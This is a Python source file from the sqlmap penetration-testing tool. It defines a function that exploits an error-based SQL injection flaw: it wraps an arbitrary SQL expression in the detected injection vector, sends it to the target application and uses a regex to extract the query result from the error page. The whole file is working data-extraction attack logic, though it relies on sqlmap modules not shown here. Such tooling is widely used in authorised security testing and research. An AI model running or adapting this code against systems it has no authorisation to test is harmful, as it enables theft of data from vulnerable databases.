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66 lines
2.1 KiB
Python
66 lines
2.1 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import extractRegexResult
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from lib.core.common import getUnicode
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from lib.core.common import randomInt
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from lib.core.common import replaceNewlineTabs
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from lib.core.common import safeStringFormat
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.session import setError
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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def errorUse(expression):
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"""
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Retrieve the output of a SQL query taking advantage of an error SQL
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injection vulnerability on the affected parameter.
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"""
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output = None
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vector = agent.cleanupPayload(kb.injection.data[2].vector)
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query = unescaper.unescape(vector)
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query = agent.prefixQuery(query)
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query = agent.suffixQuery(query)
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check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
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_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
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nulledCastedField = agent.nullAndCastField(fieldToCastStr)
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if kb.dbms == DBMS.MYSQL:
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nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'
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expression = expression.replace(fieldToCastStr, nulledCastedField, 1)
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expression = unescaper.unescape(expression)
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expression = safeStringFormat(query, expression)
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debugMsg = "query: %s" % expression
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logger.debug(debugMsg)
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payload = agent.payload(newValue=expression)
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reqBody, _ = Request.queryPage(payload, content=True)
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output = extractRegexResult(check, reqBody, re.DOTALL | re.IGNORECASE)
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if output:
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output = output.replace(kb.misc.space, " ")
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if conf.verbose > 0:
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infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True)
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logger.info(infoMsg)
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return output
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